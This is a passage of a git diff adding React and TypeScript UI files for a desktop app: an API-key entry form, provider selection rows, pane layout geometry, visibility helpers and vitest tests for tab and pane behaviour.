+  const optionDescription = optionCopy?.description ?? option.description
+
+  const submit = async () => {
+    if (!canSave || saving) {
+      return
+    }
+
+    setSaving(true)
+    setError(null)
+    const result = await onSave(option.envKey, value, option.name, isLocal ? localKey : undefined)
+
+    if (result.ok) {
+      setValue('')
+      setLocalKey('')
+    } else {
+      setError(result.message ?? t.onboarding.couldNotSave)
+    }
+
+    setSaving(false)
+  }
+
+  return (
+    <div className="grid gap-4">
+      {canGoBack ? (
+        <Button className="-mt-1 self-start font-medium" onClick={onBack} size="xs" type="button" variant="text">
+          <ChevronLeft className="size-3" />
+          {t.onboarding.backToSignIn}
+        </Button>
+      ) : null}
+
+      <div className="grid max-h-[42dvh] gap-2 overflow-y-auto p-1 sm:grid-cols-2">
+        {options.map(o => (
+          <button
+            className={cn(
+              'rounded-2xl border bg-background/60 p-3 text-left transition hover:bg-accent/50',
+              option.envKey === o.envKey ? 'border-primary ring-2 ring-primary/20' : 'border-transparent'
+            )}
+            key={o.envKey}
+            onClick={() => pick(o)}
+            type="button"
+          >
+            <div className="flex items-center justify-between gap-2">
+              <span className="text-sm font-medium">{o.name}</span>
+              {isSet?.(o.envKey) ? <Check className="size-3.5 text-muted-foreground" /> : null}
+            </div>
+            {(t.onboarding.apiKeyOptions[o.id]?.short ?? o.short) ? (
+              <p className="mt-1 text-xs text-muted-foreground">{t.onboarding.apiKeyOptions[o.id]?.short ?? o.short}</p>
+            ) : null}
+          </button>
+        ))}
+      </div>
+
+      <div className="grid scroll-mt-4 gap-2" ref={entryRef}>
+        <div className="flex items-center justify-between gap-3">
+          <p className="text-sm leading-6 text-muted-foreground">{optionDescription}</p>
+          {option.docsUrl ? <DocsLink href={option.docsUrl}>{t.onboarding.getKey}</DocsLink> : null}
+        </div>
+        <Input
+          autoComplete="off"
+          autoFocus
+          className="font-mono"
+          onChange={e => setValue(e.target.value)}
+          onKeyDown={e => e.key === 'Enter' && void submit()}
+          placeholder={
+            currentRedacted ??
+            (alreadySet ? t.onboarding.replaceCurrent : option.placeholder || t.onboarding.pasteApiKey)
+          }
+          type={isLocal ? 'text' : 'password'}
+          value={value}
+        />
+        {isLocal ? (
+          <Input
+            autoComplete="off"
+            className="font-mono"
+            onChange={e => setLocalKey(e.target.value)}
+            onKeyDown={e => e.key === 'Enter' && void submit()}
+            placeholder={t.onboarding.localApiKeyPlaceholder}
+            type="password"
+            value={localKey}
+          />
+        ) : null}
+        {error ? <p className="text-xs text-destructive">{error}</p> : null}
+      </div>
+
+      <div className="flex items-center justify-between gap-3">
+        <div>
+          {alreadySet && onClear ? (
+            <Button onClick={() => onClear(option.envKey)} size="sm" variant="ghost">
+              {t.common.remove}
+            </Button>
+          ) : null}
+        </div>
+        <Button disabled={!canSave || saving} onClick={() => void submit()}>
+          {saving ? <Loader2 className="animate-spin" /> : <KeyRound />}
+          {saving ? t.onboarding.connecting : alreadySet ? t.onboarding.update : t.common.connect}
+        </Button>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/onboarding/providers.tsx b/ui-desktop/src/components/onboarding/providers.tsx
new file mode 100644
index 000000000..2e5f3af6c
--- /dev/null
+++ b/ui-desktop/src/components/onboarding/providers.tsx
@@ -0,0 +1,129 @@
+import { RowButton } from '@/components/ui/row-button'
+import { useI18n } from '@/i18n'
+import { Check, ChevronRight, Terminal } from '@/lib/icons'
+import type { OAuthProvider } from '@/types/clawcodex'
+
+const PROVIDER_DISPLAY: Record<string, { order: number; title: string }> = {
+  nous: { order: 0, title: 'Nous Portal' },
+  'openai-codex': { order: 1, title: 'OpenAI OAuth (ChatGPT)' },
+  'minimax-oauth': { order: 2, title: 'MiniMax' },
+  'qwen-oauth': { order: 3, title: 'Qwen Code' },
+  'xai-oauth': { order: 4, title: 'xAI Grok' },
+  // Both Anthropic entries sit at the bottom: the API-key path first, then
+  // the subscription OAuth path (only works with extra usage credits).
+  anthropic: { order: 5, title: 'Anthropic API Key' },
+  'claude-code': { order: 6, title: 'Anthropic OAuth: Required Extra Usage Credits to Use Subscription' }
+}
+
+const assetPath = (path: string) => `${import.meta.env.BASE_URL}${path.replace(/^\/+/, '')}`
+
+export const providerTitle = (p: OAuthProvider) => PROVIDER_DISPLAY[p.id]?.title ?? p.name
+const orderOf = (p: OAuthProvider) => PROVIDER_DISPLAY[p.id]?.order ?? 99
+
+export const sortProviders = (providers: OAuthProvider[]) =>
+  [...providers].sort((a, b) => orderOf(a) - orderOf(b) || a.name.localeCompare(b.name))
+
+export function FeaturedProviderRow({
+  onSelect,
+  provider
+}: {
+  onSelect: (provider: OAuthProvider) => void
+  provider: OAuthProvider
+}) {
+  const { t } = useI18n()
+  const loggedIn = provider.status?.logged_in
+
+  return (
+    <button
+      className="group relative flex w-full items-center justify-between gap-4 rounded-[8px] bg-primary/[0.06] px-3 py-2.5 text-left transition-colors hover:bg-primary/10"
+      onClick={() => onSelect(provider)}
+      type="button"
+    >
+      <span aria-hidden className="arc-border arc-reverse arc-nous" />
+      <div className="min-w-0">
+        <div className="flex items-center gap-2">
+          <img alt="" className="size-5 shrink-0 rounded" src={assetPath('apple-touch-icon.png')} />
+          <span className="text-[length:var(--conversation-text-font-size)] font-semibold">
+            {providerTitle(provider)}
+          </span>
+          {loggedIn ? (
+            <ConnectedTag />
+          ) : (
+            <span className="inline-flex items-center gap-1.5 bg-primary px-2 py-0.5 text-[0.64rem] font-semibold uppercase tracking-[0.16em] text-primary-foreground">
+              <span aria-hidden="true" className="dither inline-block size-2 shrink-0" />
+              {t.onboarding.recommended}
+            </span>
+          )}
+        </div>
+        <p className="mt-1 text-xs leading-5 text-muted-foreground">{t.onboarding.featuredPitch}</p>
+      </div>
+      <ChevronRight className="size-4 shrink-0 text-primary transition group-hover:translate-x-0.5" />
+    </button>
+  )
+}
+
+function ConnectedTag() {
+  const { t } = useI18n()
+
+  return (
+    <span className="inline-flex items-center gap-1 bg-primary/10 px-2 py-0.5 text-xs font-medium text-primary">
+      <Check className="size-3" />
+      {t.onboarding.connected}
+    </span>
+  )
+}
+
+const PROVIDER_ROW_CLASS =
+  'group flex w-full items-center justify-between gap-3 rounded-[6px] px-3 py-2.5 text-left transition-colors hover:bg-(--ui-control-hover-background)'
+
+/** Quick-key row for API-key providers (Fireworks #2 after Nous, OpenRouter further down). */
+export function KeyProviderRow({ onClick, pitch, title }: { onClick: () => void; pitch: string; title: string }) {
+  return (
+    <RowButton className={PROVIDER_ROW_CLASS} onClick={onClick}>
+      <div className="min-w-0">
+        <span className="text-[length:var(--conversation-text-font-size)] font-semibold">{title}</span>
+        <p className="mt-1 text-xs leading-5 text-muted-foreground">{pitch}</p>
+      </div>
+      <ChevronRight className="size-4 text-muted-foreground transition group-hover:text-foreground" />
+    </RowButton>
+  )
+}
+
+export function FireworksProviderRow({ onClick }: { onClick: () => void }) {
+  const { t } = useI18n()
+
+  return <KeyProviderRow onClick={onClick} pitch={t.onboarding.fireworksPitch} title="Fireworks AI" />
+}
+
+export function OpenRouterProviderRow({ onClick }: { onClick: () => void }) {
+  const { t } = useI18n()
+
+  return <KeyProviderRow onClick={onClick} pitch={t.onboarding.openRouterPitch} title="OpenRouter" />
+}
+
+export function ProviderRow({
+  onSelect,
+  provider
+}: {
+  onSelect: (provider: OAuthProvider) => void
+  provider: OAuthProvider
+}) {
+  const { t } = useI18n()
+  const loggedIn = provider.status?.logged_in
+  const Trail = provider.flow === 'external' ? Terminal : ChevronRight
+
+  return (
+    <RowButton className={PROVIDER_ROW_CLASS} onClick={() => onSelect(provider)}>
+      <div className="min-w-0">
+        <div className="flex items-center gap-2">
+          <span className="text-[length:var(--conversation-text-font-size)] font-semibold">
+            {providerTitle(provider)}
+          </span>
+          {loggedIn ? <ConnectedTag /> : null}
+        </div>
+        <p className="mt-1 text-xs leading-5 text-muted-foreground">{t.onboarding.flowSubtitles[provider.flow]}</p>
+      </div>
+      <Trail className="size-4 text-muted-foreground transition group-hover:text-foreground" />
+    </RowButton>
+  )
+}
diff --git a/ui-desktop/src/components/page-loader.tsx b/ui-desktop/src/components/page-loader.tsx
new file mode 100644
index 000000000..3589c6349
--- /dev/null
+++ b/ui-desktop/src/components/page-loader.tsx
@@ -0,0 +1,34 @@
+import type { ComponentProps } from 'react'
+
+import { Loader } from '@/components/ui/loader'
+import { cn } from '@/lib/utils'
+
+interface PageLoaderProps extends Omit<ComponentProps<'div'>, 'children'> {
+  label?: string
+}
+
+export function PageLoader({
+  'aria-label': ariaLabel,
+  className,
+  label = 'Loading',
+  role = 'status',
+  ...props
+}: PageLoaderProps) {
+  return (
+    <div
+      {...props}
+      aria-label={ariaLabel ?? label}
+      className={cn('grid h-full place-items-center', className)}
+      role={role}
+    >
+      <Loader
+        aria-hidden="true"
+        className="size-10 text-primary/70"
+        pathSteps={220}
+        role="presentation"
+        strokeScale={0.72}
+        type="rose-curve"
+      />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/edit-mode.tsx b/ui-desktop/src/components/pane-shell/edit-mode.tsx
new file mode 100644
index 000000000..1e7bba6a6
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/edit-mode.tsx
@@ -0,0 +1,59 @@
+/**
+ * Layout edit mode — the shared toggle for the tree renderer's FancyZones-style
+ * rearrangement (see tree/renderer.tsx). The toggle hotkey is a `keybinds`
+ * contribution (`layout.editMode`, default ⌘⇧\ — the sibling of ⌘\ = flip
+ * panes), so it's rebindable and collision-checked like every other action.
+ * This hook only owns Escape-to-exit.
+ */
+
+import { atom } from 'nanostores'
+import { useEffect } from 'react'
+
+import { ESCAPE_PRIORITY, isTopEscapeLayer, pushEscapeLayer } from '@/lib/escape-layers'
+
+export const $layoutEditMode = atom(false)
+
+export function toggleLayoutEditMode() {
+  $layoutEditMode.set(!$layoutEditMode.get())
+}
+
+/** Escape exits edit mode. Registered once by the layout root. */
+export function useLayoutEditHotkey(enabled: boolean) {
+  useEffect(() => {
+    if (!enabled || typeof window === 'undefined') {
+      return
+    }
+
+    // Own an Escape layer only WHILE edit mode is on, so it doesn't outrank the
+    // narrow-pane reveal the rest of the time.
+    let releaseLayer: (() => void) | null = null
+
+    const unsub = $layoutEditMode.subscribe(on => {
+      if (on && !releaseLayer) {
+        releaseLayer = pushEscapeLayer(ESCAPE_PRIORITY.layoutEdit)
+      } else if (!on && releaseLayer) {
+        releaseLayer()
+        releaseLayer = null
+      }
+    })
+
+    const onKeyDown = (e: KeyboardEvent) => {
+      if (e.key !== 'Escape' || e.defaultPrevented || !isTopEscapeLayer(ESCAPE_PRIORITY.layoutEdit)) {
+        return
+      }
+
+      if ($layoutEditMode.get()) {
+        e.preventDefault()
+        $layoutEditMode.set(false)
+      }
+    }
+
+    window.addEventListener('keydown', onKeyDown)
+
+    return () => {
+      window.removeEventListener('keydown', onKeyDown)
+      unsub()
+      releaseLayer?.()
+    }
+  }, [enabled])
+}
diff --git a/ui-desktop/src/components/pane-shell/geometry.ts b/ui-desktop/src/components/pane-shell/geometry.ts
new file mode 100644
index 000000000..75d17b69d
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/geometry.ts
@@ -0,0 +1,308 @@
+/**
+ * Pane geometry — AABB INTERSECTION → WINDOW-CONTROL AWARENESS. The native
+ * window controls (macOS traffic lights top-left / Windows-WSLg overlay
+ * top-right) are a rectangle in viewport pixels. Any region whose rect
+ * intersects it must reserve that space and expose a drag strip. One
+ * `intersect()` call replaces per-layout inset special cases.
+ *
+ * Also publishes the WORKSPACE zone's edges as CSS vars (see
+ * publishWorkspaceGeometry) — chrome that aligns to the main pane (titlebar
+ * title et al) consumes `var(--workspace-left/right)` in plain CSS instead of
+ * threading rects through React.
+ */
+
+import { type RefObject, useLayoutEffect, useState, useSyncExternalStore } from 'react'
+
+import { $layoutTree } from '@/components/pane-shell/tree/store'
+import { $connection } from '@/store/session'
+
+// ---------------------------------------------------------------------------
+// Rects
+// ---------------------------------------------------------------------------
+
+export interface Rect {
+  x: number
+  y: number
+  width: number
+  height: number
+}
+
+/** AABB intersection. Returns null when the rects don't overlap. */
+export function intersect(a: Rect, b: Rect): Rect | null {
+  const x = Math.max(a.x, b.x)
+  const y = Math.max(a.y, b.y)
+  const right = Math.min(a.x + a.width, b.x + b.width)
+  const bottom = Math.min(a.y + a.height, b.y + b.height)
+
+  if (right <= x || bottom <= y) {
+    return null
+  }
+
+  return { x, y, width: right - x, height: bottom - y }
+}
+
+// ---------------------------------------------------------------------------
+// Native window controls rect
+// ---------------------------------------------------------------------------
+
+/** Height of the band the native controls live in. */
+const CONTROLS_BAND_HEIGHT = 34
+/** Width of the macOS traffic-light cluster measured from the buttons' x. */
+const MACOS_LIGHTS_WIDTH = 58
+const MACOS_FALLBACK_BUTTON_X = 24
+
+interface ConnectionLike {
+  windowButtonPosition?: { x: number; y: number } | null
+  nativeOverlayWidth?: number | null
+  isFullscreen?: boolean | null
+}
+
+/**
+ * The native window-control rectangle in viewport pixels, or null when there
+ * is nothing to dodge (fullscreen, plain browser, secondary windows with
+ * hidden controls).
+ */
+export function windowControlsRect(connection: ConnectionLike | null, viewportWidth: number): Rect | null {
+  const inElectron = typeof window !== 'undefined' && 'clawcodexDesktop' in window
+
+  if (!inElectron) {
+    return null
+  }
+
+  if (connection?.isFullscreen) {
+    return null
+  }
+
+  // Windows / WSLg: native overlay on the top-right.
+  const overlayWidth = connection?.nativeOverlayWidth ?? 0
+
+  if (overlayWidth > 0) {
+    return { x: viewportWidth - overlayWidth, y: 0, width: overlayWidth, height: CONTROLS_BAND_HEIGHT }
+  }
+
+  // macOS: traffic lights on the top-left. windowButtonPosition === null means
+  // the platform has no left-side controls at all (Windows/Linux w/o overlay).
+  const pos = connection?.windowButtonPosition
+
+  if (pos === null) {
+    return null
+  }
+
+  const isMac = typeof navigator !== 'undefined' && /mac/i.test(navigator.platform)
+
+  if (!pos && !isMac) {
+    return null
+  }
+
+  const x = pos?.x ?? MACOS_FALLBACK_BUTTON_X
+
+  return { x: 0, y: 0, width: x + MACOS_LIGHTS_WIDTH, height: CONTROLS_BAND_HEIGHT }
+}
+
+// ---------------------------------------------------------------------------
+// Live hook
+// ---------------------------------------------------------------------------
+
+let cachedRect: Rect | null = null
+let cachedKey = ''
+
+function rectKey(r: Rect | null) {
+  return r ? `${r.x},${r.y},${r.width},${r.height}` : ''
+}
+
+function readControlsRect(): Rect | null {
+  const next = windowControlsRect($connection.get(), typeof window === 'undefined' ? 0 : window.innerWidth)
+  const key = rectKey(next)
+
+  // Referentially stable snapshot for useSyncExternalStore.
+  if (key !== cachedKey) {
+    cachedKey = key
+    cachedRect = next
+  }
+
+  return cachedRect
+}
+
+function subscribeControlsRect(cb: () => void) {
+  const unsubConnection = $connection.subscribe(() => cb())
+  window.addEventListener('resize', cb)
+
+  return () => {
+    unsubConnection()
+    window.removeEventListener('resize', cb)
+  }
+}
+
+/** Reactive native window-controls rect (connection + viewport aware). */
+export function useWindowControlsRect(): Rect | null {
+  return useSyncExternalStore(subscribeControlsRect, readControlsRect, () => null)
+}
+
+// ---------------------------------------------------------------------------
+// Per-element overlap
+// ---------------------------------------------------------------------------
+
+function sameRect(a: Rect | null, b: Rect | null) {
+  if (a === b) {
+    return true
+  }
+
+  if (!a || !b) {
+    return false
+  }
+
+  return a.x === b.x && a.y === b.y && a.width === b.width && a.height === b.height
+}
+
+// ---------------------------------------------------------------------------
+// Workspace-edge CSS vars
+// ---------------------------------------------------------------------------
+
+// --- Sash-drag deferral ------------------------------------------------------
+// The tree sash sets this for the duration of a resize gesture (pointerdown to
+// pointerup). While set, `publishWorkspaceGeometry` skips its :root custom
+// property writes: each one invalidates computed style for the whole document,
+// and the sash's ResizeObserver fires per frame. Measured live (LoAF, real
+// session): drag frames of ~68ms with style+layout=67ms and no script ≥5ms;
+// suppressing the writes recovered 14fps → 51fps. The vars only align titlebar
+// chrome — republishing once on release is visually identical.
+let sashDragDepth = 0
+let onSashDragEnd: null | (() => void) = null
+
+export function beginSashDrag() {
+  sashDragDepth += 1
+}
+
+export function endSashDrag() {
+  sashDragDepth = Math.max(0, sashDragDepth - 1)
+
+  if (sashDragDepth === 0) {
+    onSashDragEnd?.()
+  }
+}
+
+const sashDragging = () => sashDragDepth > 0
+
+/**
+ * Publish the workspace zone's viewport edges as root CSS vars:
+ *   --workspace-left  : px from the viewport's left to the main zone
+ *   --workspace-right : px from the main zone's right to the viewport's right
+ *
+ * Measured once per relevant change (zone resize via ResizeObserver, layout
+ * mutations via $layoutTree, window resize) and consumed in plain CSS — the
+ * measured-var idiom (--composer-measured-height), not per-component JS
+ * geometry. Call once from the tree root; returns the disposer.
+ */
+export function publishWorkspaceGeometry(): () => void {
+  const root = document.documentElement
+  let el: HTMLElement | null = null
+  let lastLeft = NaN
+  let lastRight = NaN
+
+  const ro = new ResizeObserver(() => measure())
+
+  const measure = () => {
+    // DEFER during a sash drag (see beginSashDrag above) — republished once on
+    // release via the onSashDragEnd hook registered below.
+    if (sashDragging()) {
+      return
+    }
+
+    const next = document.querySelector<HTMLElement>('[data-session-anchor="workspace"]')
+
+    if (next !== el) {
+      if (el) {
+        ro.unobserve(el)
+      }
+
+      el = next
+
+      if (el) {
+        ro.observe(el)
+      }
+    }
+
+    if (!el) {
+      return
+    }
+
+    const r = el.getBoundingClientRect()
+    const left = Math.round(r.left)
+    const right = Math.round(window.innerWidth - r.right)
+
+    // Skip unchanged writes: a sash drag fires the RO every frame, and each
+    // :root custom-property set dirties style for everything that reads them.
+    if (left !== lastLeft) {
+      lastLeft = left
+      root.style.setProperty('--workspace-left', `${left}px`)
+    }
+
+    if (right !== lastRight) {
+      lastRight = right
+      root.style.setProperty('--workspace-right', `${right}px`)
+    }
+  }
+
+  // Tree mutations move zones without resizing them (⌘\ flip) — re-measure a
+  // frame later, after the DOM committed. RO covers width changes (sash drags,
+  // side collapses); window resize covers the rest.
+  const unsubTree = $layoutTree.listen(() => requestAnimationFrame(measure))
+  // Drag released → publish the final geometry the deferral above skipped.
+  onSashDragEnd = () => requestAnimationFrame(measure)
+  window.addEventListener('resize', measure)
+  measure()
+
+  return () => {
+    unsubTree()
+    onSashDragEnd = null
+    window.removeEventListener('resize', measure)
+    ro.disconnect()
+    root.style.removeProperty('--workspace-left')
+    root.style.removeProperty('--workspace-right')
+  }
+}
+
+/**
+ * Intersects an element's live viewport rect with the native window-controls
+ * rect. Returns the overlap in ELEMENT-LOCAL coordinates (null when clear), so
+ * the consumer can reserve the space and paint a drag strip without knowing
+ * anything about platform, fullscreen state, or layout position.
+ */
+export function useWindowControlsOverlap(ref: RefObject<HTMLElement | null>, enabled = true): Rect | null {
+  const controls = useWindowControlsRect()
+  const [overlap, setOverlap] = useState<Rect | null>(null)
+
+  useLayoutEffect(() => {
+    const el = ref.current
+
+    if (!enabled || !controls || !el) {
+      setOverlap(null)
+
+      return
+    }
+
+    const update = () => {
+      const r = el.getBoundingClientRect()
+      const hit = intersect(controls, { x: r.x, y: r.y, width: r.width, height: r.height })
+      const local = hit ? { x: hit.x - r.x, y: hit.y - r.y, width: hit.width, height: hit.height } : null
+
+      setOverlap(prev => (sameRect(prev, local) ? prev : local))
+    }
+
+    update()
+
+    // Size changes fire the observer; cross-window moves fire `resize`. A pane
+    // shifted only by a sibling's resize re-measures on its own grid reflow
+    // (its track width changes), so this covers the shell's real cases.
+    const ro = new ResizeObserver(update)
+    ro.observe(el)
+    window.addEventListener('resize', update)
+
+    return () => {
+      ro.disconnect()
+      window.removeEventListener('resize', update)
+    }
+  }, [controls, enabled, ref])
+
+  return overlap
+}
diff --git a/ui-desktop/src/components/pane-shell/index.ts b/ui-desktop/src/components/pane-shell/index.ts
new file mode 100644
index 000000000..0e2261a33
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/index.ts
@@ -0,0 +1,7 @@
+/**
+ * Cross-surface event: toggle-reveal a collapsed pane. Dispatched by the
+ * keybinds (⌘B / ⌘G / titlebar toggles on narrow viewports) with the pane id
+ * in `detail`; the layout tree's narrow overlays (tree/renderer.tsx) listen
+ * and slide the pane over the grid.
+ */
+export const PANE_TOGGLE_REVEAL_EVENT = 'clawcodex:pane-toggle-reveal'
diff --git a/ui-desktop/src/components/pane-shell/pane-visibility.test.ts b/ui-desktop/src/components/pane-shell/pane-visibility.test.ts
new file mode 100644
index 000000000..030aa2d8e
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/pane-visibility.test.ts
@@ -0,0 +1,41 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { hiddenPaneProps, PANE_HIDDEN_ATTR, queryAllVisible, queryVisible } from './pane-visibility'
+
+/**
+ * Inactive tabs stay mounted with their layout box intact, so they answer
+ * document-wide lookups exactly like the visible tab. These helpers are the one
+ * place that difference is decided.
+ */
+
+const COMPOSER = '[data-slot="composer-root"]'
+
+const tab = (id: string, hidden = false) => `
+  <div ${hidden ? PANE_HIDDEN_ATTR : ''}>
+    <section><div data-slot="composer-root" id="${id}"></div></section>
+  </div>
+`
+
+afterEach(() => {
+  document.body.innerHTML = ''
+})
+
+describe('pane visibility lookups', () => {
+  it('resolves the foreground element even when a hidden tab matches first', () => {
+    document.body.innerHTML = tab('background', true) + tab('foreground')
+
+    expect(queryVisible(COMPOSER)?.id).toBe('foreground')
+    expect(queryAllVisible(COMPOSER).map(el => el.id)).toEqual(['foreground'])
+  })
+
+  it('answers normally when nothing is hidden', () => {
+    document.body.innerHTML = tab('only')
+
+    expect(queryVisible(COMPOSER)?.id).toBe('only')
+  })
+
+  it('marks a pane hidden only while it is inactive', () => {
+    expect(hiddenPaneProps(true)).toEqual({ [PANE_HIDDEN_ATTR]: '' })
+    expect(hiddenPaneProps(false)).toEqual({})
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/pane-visibility.ts b/ui-desktop/src/components/pane-shell/pane-visibility.ts
new file mode 100644
index 000000000..0a7169e68
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/pane-visibility.ts
@@ -0,0 +1,54 @@
+/**
+ * Keep-alive visibility — the one policy every document-wide lookup must obey.
+ *
+ * A tab group keeps each ever-active pane MOUNTED and hides the inactive ones
+ * with `visibility: hidden` (see `tree/renderer/tree-group.tsx`), deliberately
+ * preserving their layout box so scroll positions survive a tab round-trip. The
+ * cost is that an inactive tab's rect is IDENTICAL to the visible tab's, so
+ * neither selector order nor a rect hit-test can tell them apart. A lookup that
+ * resolves "the chat surface / composer / viewport" from the document therefore
+ * has to skip hidden panes, or it silently answers with the wrong tab.
+ */
+
+import { createContext, useContext } from 'react'
+
+/** Marks a mounted-but-hidden pane layer (an inactive tab in a stack). */
+export const PANE_HIDDEN_ATTR = 'data-pane-hidden'
+
+const HIDDEN_PANE = `[${PANE_HIDDEN_ATTR}]`
+
+/** Spread onto a kept pane layer so the lookups below can skip it. */
+export const hiddenPaneProps = (hidden: boolean): Record<string, string> => (hidden ? { [PANE_HIDDEN_ATTR]: '' } : {})
+
+/** React face of the same policy: the pane layer provides its visibility so a
+ *  kept-alive surface can gate hot subscriptions (streaming re-renders) off
+ *  while it's an inactive tab. Default TRUE — surfaces outside a tab stack
+ *  (secondary windows, plain routes) are always visible. */
+export const PaneVisibleContext = createContext(true)
+
+export const usePaneVisible = (): boolean => useContext(PaneVisibleContext)
+
+/** Fallback group key for a surface rendered outside the layout tree (secondary
+ *  windows, plain routes) — one bucket, since there are no sibling zones there
+ *  to tell apart. */
+export const NO_PANE_GROUP = 'window'
+
+/** The layout-tree GROUP (zone) a pane is rendered in — the identity of "this
+ *  set of tabs". Panes stacked as tabs share one group; each split zone is its
+ *  own. State that should be per-zone rather than per-window or per-tab keys off
+ *  this (see the composer pop-out). Follows a pane dragged between zones,
+ *  because the provider is the zone that renders it. */
+export const PaneGroupContext = createContext(NO_PANE_GROUP)
+
+export const usePaneGroup = (): string => useContext(PaneGroupContext)
+
+/** Whether an element belongs to an inactive keep-alive pane. */
+export const isElementInHiddenPane = (element: Element): boolean => Boolean(element.closest(HIDDEN_PANE))
+
+/** `querySelectorAll` minus anything inside an inactive tab. */
+export const queryAllVisible = <T extends HTMLElement>(selector: string, root: ParentNode = document): T[] =>
+  [...root.querySelectorAll<T>(selector)].filter(el => !isElementInHiddenPane(el))
+
+/** `querySelector` minus anything inside an inactive tab. */
+export const queryVisible = <T extends HTMLElement>(selector: string, root: ParentNode = document): null | T =>
+  queryAllVisible<T>(selector, root)[0] ?? null
diff --git a/ui-desktop/src/components/pane-shell/tree/floating-adoption.test.ts b/ui-desktop/src/components/pane-shell/tree/floating-adoption.test.ts
new file mode 100644
index 000000000..2a619a844
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/floating-adoption.test.ts
@@ -0,0 +1,98 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+// A `placement: 'floating'` pane must never enter the layout tree. Adoption is
+// what turns a contribution into a track (and therefore into something that
+// steals width from a zone), so this exercises the real `adoptContributedPanes`
+// path via `watchContributedPanes` rather than asserting on the filter itself.
+
+describe('floating panes stay out of the layout tree', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  afterEach(() => {
+    vi.resetModules()
+  })
+
+  async function setup() {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const model = await import('@/components/pane-shell/tree/model')
+    const { registry } = await import('@/contrib/registry')
+
+    registry.register({
+      id: 'workspace',
+      area: 'panes',
+      title: 'chat',
+      data: { placement: 'main' },
+      render: () => null
+    })
+
+    tree.declareDefaultTree(model.group(['workspace'], { id: 'grp-main' }))
+
+    return { model, registry, tree }
+  }
+
+  it('does not adopt a floating pane, while still adopting a docked one', async () => {
+    const { model, registry, tree } = await setup()
+
+    registry.register({
+      id: 'hud',
+      area: 'panes',
+      title: 'HUD',
+      data: { placement: 'floating', anchor: 'top-right', width: '240px' },
+      render: () => null
+    })
+    registry.register({
+      id: 'files',
+      area: 'panes',
+      title: 'Files',
+      data: { placement: 'right' },
+      render: () => null
+    })
+
+    tree.watchContributedPanes()
+
+    const ids = model.allPaneIds(tree.$layoutTree.get()!)
+
+    expect(ids).not.toContain('hud')
+    // Control: a normal placement DOES get adopted through the same pass, so
+    // the exclusion is specific to 'floating', not a broken adoption run.
+    expect(ids).toContain('files')
+  })
+
+  it('keeps the main zone unsplit when only a floating pane registers', async () => {
+    const { model, registry, tree } = await setup()
+
+    registry.register({
+      id: 'hud',
+      area: 'panes',
+      title: 'HUD',
+      data: { placement: 'floating' },
+      render: () => null
+    })
+
+    tree.watchContributedPanes()
+
+    const root = tree.$layoutTree.get()!
+
+    // Still the single group it was declared as — no track was created.
+    expect(root.type).toBe('group')
+    expect(model.allPaneIds(root)).toEqual(['workspace'])
+  })
+
+  it('survives a registry change without ever adopting the floating pane', async () => {
+    const { model, registry, tree } = await setup()
+
+    registry.register({ id: 'hud', area: 'panes', data: { placement: 'floating' }, render: () => null })
+    tree.watchContributedPanes()
+
+    // A later registration re-runs adoption via the registry subscription.
+    registry.register({ id: 'terminal', area: 'panes', data: { placement: 'bottom' }, render: () => null })
+
+    const ids = model.allPaneIds(tree.$layoutTree.get()!)
+
+    expect(ids).toContain('terminal')
+    expect(ids).not.toContain('hud')
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/focus-tab-hijack.test.ts b/ui-desktop/src/components/pane-shell/tree/focus-tab-hijack.test.ts
new file mode 100644
index 000000000..094b09d6e
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/focus-tab-hijack.test.ts
@@ -0,0 +1,75 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+// Focus layout packs `workspace` and `files` into one tab group. A reactive
+// unhide of `files` (cwd arrives on the first reply / new session) must NOT
+// steal the active tab away from the workspace/new-session the user is looking
+// at — the "files panel hijacks the tab ~1s after the first reply" bug.
+// frontPaneInGroup only takes the active slot when the current active pane is
+// not itself showable, so it still picks a valid tab when nothing is visible.
+
+describe('reactive unhide in a shared (Focus) group', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  afterEach(() => {
+    vi.resetModules()
+  })
+
+  async function setupFocusGroup() {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const model = await import('@/components/pane-shell/tree/model')
+    const { registry } = await import('@/contrib/registry')
+
+    for (const id of ['workspace', 'files']) {
+      registry.register({ id, area: 'panes', title: id, data: {}, render: () => null })
+    }
+
+    // Focus layout: sessions | (workspace + files share one group), workspace
+    // fronted — mirrors FOCUS_TREE's single-group packing in controller.tsx.
+    tree.declareDefaultTree(
+      model.split(
+        'row',
+        [
+          model.group(['sessions'], { id: 'grp-sessions' }),
+          model.group(['workspace', 'files'], { active: 'workspace', id: 'grp-focus' })
+        ],
+        [1, 4.6]
+      )
+    )
+
+    const activeOf = (paneId: string) => model.findGroupOfPane(tree.$layoutTree.get()!, paneId)?.active ?? null
+
+    return { activeOf, tree }
+  }
+
+  it('does not steal the active tab from workspace when files unhides', async () => {
+    const { activeOf, tree } = await setupFocusGroup()
+
+    // Detached chat: no cwd → files hidden, workspace is the active tab.
+    tree.setTreePaneHidden('files', true)
+    expect(activeOf('workspace')).toBe('workspace')
+
+    // First reply adopts a cwd → the workspace wiring unhides files.
+    tree.setTreePaneHidden('files', false)
+
+    expect(tree.$hiddenTreePanes.get().has('files')).toBe(false)
+    // The user stays on the new session; files must not hijack the tab.
+    expect(activeOf('workspace')).toBe('workspace')
+  })
+
+  it('still fronts the unhidden pane when the active tab is not showable', async () => {
+    const { activeOf, tree } = await setupFocusGroup()
+
+    // Nothing valid showing: the active pane is itself hidden.
+    tree.setTreePaneHidden('workspace', true)
+    tree.setTreePaneHidden('files', true)
+
+    tree.setTreePaneHidden('files', false)
+
